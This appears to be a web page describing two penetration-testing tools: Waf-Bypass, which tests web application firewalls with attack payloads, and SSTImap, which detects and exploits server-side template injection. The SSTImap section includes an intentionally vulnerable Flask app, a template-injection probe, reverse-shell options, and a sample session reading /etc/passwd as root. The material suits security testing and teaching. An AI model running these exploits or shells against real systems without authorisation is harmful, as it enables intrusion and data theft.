Waf-Bypass - Check Your WAF Before An Attacker Does

WAF bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of community.

How to run

It is forbidden to use for illegal and illegal purposes. Don't break the law. We are not responsible for possible risks associated with the use of this software.

Run from Docker

The latest waf-bypass always available via the Docker Hub. It can be easily pulled via the following command:

# docker pull nemesida/waf-bypass
# docker run nemesida/waf-bypass --host='example.com'

Run source code from GitHub

# git clone https://github.com/nemesida-waf/waf_bypass.git /opt/waf-bypass/
# python3 -m pip install -r /opt/waf-bypass/requirements.txt
# python3 /opt/waf-bypass/main.py --host='example.com'  

Options

• '--proxy' (--proxy='http://proxy.example.com:3128') - option allows to specify where to connect to instead of the host.

• '--header' (--header 'Authorization: Basic YWRtaW46YWRtaW4=' --header 'X-TOKEN: ABCDEF') - option allows to specify the HTTP header to send with all requests (e.g. for authentication). Multiple use is allowed.

• '--user-agent' (--user-agent 'MyUserAgent 1/1') - option allows to specify the HTTP User-Agent to send with all requests, except when the User-Agent is set by the payload ("USER-AGENT").

• '--block-code' (--block-code='403' --block-code='222') - option allows you to specify the HTTP status code to expect when the WAF is blocked. (default is 403). Multiple use is allowed.

• '--threads' (--threads=15) - option allows to specify the number of parallel scan threads (default is 10).

• '--timeout' (--timeout=10) - option allows to specify a request processing timeout in sec. (default is 30).

• '--json-format' - an option that allows you to display the result of the work in JSON format (useful for integrating the tool with security platforms).

• '--details' - display the False Positive and False Negative payloads. Not available in JSON format.

• '--exclude-dir' - exclude the payload's directory (--exclude-dir='SQLi' --exclude-dir='XSS'). Multiple use is allowed.

Payloads

Depending on the purpose, payloads are located in the appropriate folders:

• FP - False Positive payloads
• API - API testing payloads
• CM - Custom HTTP Method payloads
• GraphQL - GraphQL testing payloads
• LDAP - LDAP Injection etc. payloads
• LFI - Local File Include payloads
• MFD - multipart/form-data payloads
• NoSQLi - NoSQL injection payloads
• OR - Open Redirect payloads
• RCE - Remote Code Execution payloads
• RFI - Remote File Inclusion payloads
• SQLi - SQL injection payloads
• SSI - Server-Side Includes payloads
• SSRF - Server-side request forgery payloads
• SSTI - Server-Side Template Injection payloads
• UWA - Unwanted Access payloads
• XSS - Cross-Site Scripting payloads

Write your own payloads

When compiling a payload, the following zones, method and options are used:

• URL - request's path
• ARGS - request's query
• BODY - request's body
• COOKIE - request's cookie
• USER-AGENT - request's user-agent
• REFERER - request's referer
• HEADER - request's header
• METHOD - request's method
• BOUNDARY - specifies the contents of the request's boundary. Applicable only to payloads in the MFD directory.
• ENCODE - specifies the type of payload encoding (Base64, HTML-ENTITY, UTF-16) in addition to the encoding for the payload. Multiple values are indicated with a space (e.g. Base64 UTF-16). Applicable only to for ARGS, BODY, COOKIE and HEADER zone. Not applicable to payloads in API and MFD directories. Not compatible with option JSON.
• JSON - specifies that the request's body should be in JSON format
• BLOCKED - specifies that the request should be blocked (FN testing) or not (FP)

Except for some cases described below, the zones are independent of each other and are tested separately (those if 2 zones are specified - the script will send 2 requests - alternately checking one and the second zone).

For the zones you can use %RND% suffix, which allows you to generate an arbitrary string of 6 letters and numbers. (e.g.: param%RND=my_payload or param=%RND% OR A%RND%B)

You can create your own payloads, to do this, create your own folder on the '/payload/' folder, or place the payload in an existing one (e.g.: '/payload/XSS'). Allowed data format is JSON.

API directory

API testing payloads located in this directory are automatically appended with a header 'Content-Type: application/json'.

MFD directory

For MFD (multipart/form-data) payloads located in this directory, you must specify the BODY (required) and BOUNDARY (optional). If BOUNDARY is not set, it will be generated automatically (in this case, only the payload must be specified for the BODY, without additional data ('... Content-Disposition: form-data; ...').

If a BOUNDARY is specified, then the content of the BODY must be formatted in accordance with the RFC, but this allows for multiple payloads in BODY a separated by BOUNDARY.

Other zones are allowed in this directory (e.g.: URL, ARGS etc.). Regardless of the zone, header 'Content-Type: multipart/form-data; boundary=...' will be added to all requests.

SSTImap - Automatic SSTI Detection Tool With Interactive Interface

SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.

Sandbox break-out techniques came from:

• James Kett's Server-Side Template Injection: RCE For The Modern Web App
• Other public researches [1] [2]
• Contributions to Tplmap [3] [4].

This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.

Differences with Tplmap

Even though this software is based on Tplmap's code, backwards compatibility is not provided.

• Interactive mode (-i) allowing for easier exploitation and detection
• Base language eval()-like shell (-x) or single command (-X) execution
• Added new payload for Smarty without enabled {php}{/php}. Old payload is available as Smarty_unsecure.
• User-Agent can be randomly selected from a list of desktop browser agents using -A
• SSL verification can now be enabled using -V
• Short versions added to all arguments
• Some old command line arguments were changed, check -h for help
• Code is changed to use newer python features
• Burp Suite extension temporarily removed, as Jython doesn't support Python3

Server-Side Template Injection

This is an example of a simple website written in Python using Flask framework and Jinja2 template engine. It integrates user-supplied variable name in an unsafe way, as it is concatenated to the template string before rendering.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

User-supplied input should be introduced in a safe way through rendering context:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Predetermined mode

SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.

After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.

To check the URL, you can use -u argument:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚═════════════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injecti   on: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's    port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Use --os-shell option to launch a pseudo-terminal on the target.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 0.6#dev
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

To get a full list of options, use --help argument.

Interactive mode

In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.

Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u argument or url command. After that, you can use run command to check URL for SSTI.

If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C to abort them without stopping a program.

By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.

To get a full list of interactive commands, use command help in interactive mode.

Supported template engines

SSTImap supports multiple template engines and eval()-like injections.

New payloads are welcome in PRs.

Burp Suite Plugin

Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.

Future plans

If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.

• Make template and base language evaluation functionality more uniform
• Add more payloads for different engines
• Short arguments as interactive commands?
• Automatic languages and engines import
• Engine plugins as objects of Plugin class?
• JSON/plaintext API modes for scripting integrations?
• Argument to remove escape codes?
• Spider/crawler automation
• Better integration for Python scripts
• More POST data types support
• Payload processing scripts